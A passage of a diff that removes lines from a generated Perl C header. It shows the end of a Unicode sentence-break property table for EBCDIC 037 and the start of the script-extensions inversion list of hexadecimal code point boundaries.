SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Lower, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Format, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_SCX_invlist[] = { /* for ASCII/Latin1 */ - 1580, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x342, - 0x343, - 0x345, - 0x346, - 0x363, - 0x370, - 0x374, - 0x375, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3E2, - 0x3F0, - 0x400, - 0x483, - 0x484, - 0x485, - 0x487, - 0x488, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61D, - 0x61E, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x656, - 0x660, - 0x66A, - 0x670, - 0x671, - 0x6DD, - 0x6DE, - 0x700, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x780, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0x951, - 0x952, - 0x953, - 0x964, - 0x965, - 0x966, - 0x970, - 0x980, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAA, - 0xBAB, - 0xBAE, - 0xBB5, - 0xBB6, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF3, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE40, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFD5, - 0xFD9, - 0xFDB, - 0x1000, - 0x1040, - 0x104A, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x19E0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CD1, - 0x1CD2, - 0x1CD4, - 0x1CD7, - 0x1CD8, - 0x1CD9, - 0x1CDA, - 0x1CDB, - 0x1CDC, - 0x1CDE, - 0x1CE0, - 0x1CE1, - 0x1CF2, - 0x1CF5, - 0x1CF6, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1D26, - 0x1D2B, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1DC2, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2072, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F0, - 0x20F1, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C80, - 0x2CF4, - 0x2CF9, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3004, - 0x3005, - 0x3008, - 0x3012, - 0x3013, - 0x3014, - 0x301C, - 0x3020, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3037, - 0x3038, - 0x303C, - 0x303E, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x30FD, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4DC0, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA500, - 0xA62C, - 0xA640, - 0xA66F, - 0xA670, - 0xA6A0, - 0xA6F8, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA82C, - 0xA830, - 0xA836, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8F1, - 0xA8F2, - 0xA8F3, - 0xA8F4, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA92F, - 0xA930, - 0xA954, - 0xA95F, - 0xA960, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDF2, - 0xFDF3, - 0xFDFD, - 0xFDFE, - 0xFE00, - 0xFE10, - 0xFE1A, - 0xFE20, - 0xFE2E, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x10450, - 0x10480, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10856, - 0x10857, - 0x10860, - 0x10880, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x10900, - 0x1091C, - 0x1091F, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109A0, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B60, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11301, - 0x11302, - 0x11303, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE1, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B001, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 